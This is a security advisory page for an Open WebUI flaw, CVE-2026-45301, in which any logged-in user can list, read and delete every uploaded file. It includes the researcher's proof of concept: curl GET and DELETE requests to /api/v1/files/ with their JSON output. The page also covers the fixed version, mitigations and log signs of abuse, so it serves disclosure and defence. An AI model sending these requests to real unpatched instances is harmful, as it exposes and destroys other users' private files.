NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · Open WebUI

CVE-2026-45301: Open WebUI: Missing permission check in files API allows authenticated users to list, access and delete every uploaded file

highCVSS 3.1 8.1GHSA-r8wh-8m7r-fh33

Open WebUI 0.3.15 and earlier has no ownership check on its files API. Any logged-in user can list, read and delete every file that any other user uploaded. Upgrade to open-webui 0.3.16.

Published May 14, 2026 · Updated May 19, 2026 · Analysis Oct 27, 2026

What an attacker can do

The routes under /api/v1/files/ depend only on an authenticated-user check. The listing code does not filter by user_id, and the content and delete routes do not compare the file's owner with the caller. Every file operation therefore works on any file.

The researcher's proof of concept used a clean Docker install with an admin and a second, unprivileged user. The admin uploaded test.txt and a document named mydeepest_secret.docx in chats. The second user called GET /api/v1/files/ and saw both, including each file's id, owner id and server path under /app/backend/data/uploads. Then GET /api/v1/files/{id}/content returned the content, and DELETE /api/v1/files/{id} removed the document. Uploaded files in a chat tool often hold contracts, source code or personal data, so this is a confidentiality break. Deletion also hurts integrity. The attacker needs only an ordinary account, so it matters most on shared instances with many users.

Who is affected

The pip package open-webui at 0.3.15 and earlier. Single-user installs have little to lose, but shared deployments with several accounts are fully exposed. Check the version:

pip show open-webui

For Docker, check the image tag, or the version shown in the app's About settings.

open-webui

Ecosystem
PyPI
Affected
<= 0.3.15
Fixed in
0.3.16
Check
pip show open-webui

How to fix it

Upgrade to open-webui 0.3.16:

pip install --upgrade open-webui

For Docker, pull a current image and recreate the container. The sources give no workaround. Until you upgrade, limit sign-up and remove accounts you do not need.

How to tell if you were hit

Review access logs for requests to /api/v1/files/ (the list) and /api/v1/files/{id}/content from users who do not own those files. A single account listing the whole collection and then reading many ids is the pattern. Look for DELETE /api/v1/files/{id} calls by non-owners, and for users reporting that uploaded files vanished. Files under /app/backend/data/uploads that are missing from disk but recorded elsewhere also point to deletion.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

A missing permission check in all files related API endpoints allows any authenticated user to list, access and delete every file uploaded by every user to the platform.

Details

All files/ related endpoints lack permission checks.

Listing all files

For example, let's see how file listing is implemented: https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L107-L110 https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/models/files.py#L26 Notice the endpoint depends only on an authenticated user check, no file filtering is done to match the uploaded files' user_id to the requesting user.

This problem repeats itself throughout the various route implementations, allowing any user to perform actions on any file. Some note worthy functions:

Accessing the content of any file

https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L173-L193

Deleting any file

https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L224-L241

PoC

Configuration

  1. I ran a clean install of the latest version using one of the docker one-liners on an Ubuntu desktop:

docker run -d -p 3000:8080 -v ollama:/root/.ollama -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:ollama

  1. I created an admin user
  2. I created a second user to act as the threat actor with no elevated permissions
  3. Admin user uploaded test.txt in a conversation with model
  4. Admin user uploaded mydeepest_secret.docx in a conversation with model

Listing files uploaded by other users

  1. Login to threat actor
  2. Perform a GET request to /api/v1/files/
curl -X 'GET' \
  'http://localhost:3000/api/v1/files/' \
  -H 'accept: application/json'
[
  {
    "id": "b9733e9c-0714-4425-8915-d0361bf66dfc",
    "user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
    "filename": "b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt",
    "meta": {
      "name": "test.txt",
      "content_type": "text/plain",
      "size": 4,
      "path": "/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt"
    },
    "created_at": 1724709202
  },
  {
    "id": "8f058e18-fec1-4b9f-bb4e-c17f39d03c98",
    "user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
    "filename": "8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx",
    "meta": {
      "name": "mydeepest_secret.docx",
      "content_type": "application/vnd.openxmlformats-officedocument.wordprocessingml.document",
      "size": 6485,
      "path": "/app/backend/data/uploads/8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx"
    },
    "created_at": 1724710236
  }
]

Accessing other users' file content

  1. Login to threat actor
  2. Perform a GET request to /api/v1/files/{id}/content
curl -X 'GET' \
  'http://localhost:3000/api/v1/files/b9733e9c-0714-4425-8915-d0361bf66dfc/content' \
  -H 'accept: application/json'
wow

Deleting another user's uploaded file

  1. Login to threat actor
  2. Perform a DELETE request to /api/v1/files/{id}
curl -X 'DELETE' \
  'http://localhost:3000/api/v1/files/8f058e18-fec1-4b9f-bb4e-c17f39d03c98' \
  -H 'accept: application/json'
{
  "message": "File deleted successfully"
}
  1. We will verify this action by furthur listing all files as mentioned above:
[
  {
    "id": "b9733e9c-0714-4425-8915-d0361bf66dfc",
    "user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
    "filename": "b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt",
    "meta": {
      "name": "test.txt",
      "content_type": "text/plain",
      "size": 4,
      "path": "/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt"
    },
    "created_at": 1724709202
  }
]

Impact

Having access to user uploaded files, regardless of ownership or permission level, breaks the confidentiality of sensitive data stored by users. Furthermore, the ability to delete other user's uploaded files disrupts the integrity of the system.

Personal Notice

In case this submission does get recognized and numbered as a CVE I'd perfer to be credited by my full name - Yuval Gal, instead of my GitHub handle.

Thanks in advance and have a good week (:

Credits

This vulnerability was reported by Yuval Gal (GitHub: @vi11ain).

Credited to vi11ain.

Questions

Can someone without an account exploit CVE-2026-45301?

No. The caller must be authenticated, but needs no special role. Any ordinary user account can list, read and delete everyone's files.

Which version is fixed?

open-webui 0.3.16. Versions up to and including 0.3.15 are affected.

What does the attacker see when listing files?

For each file: its id, owner user_id, filename, content type, size, server path and creation time. The id then lets them fetch the content.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Open WebUI vulnerabilities

All Open WebUI entries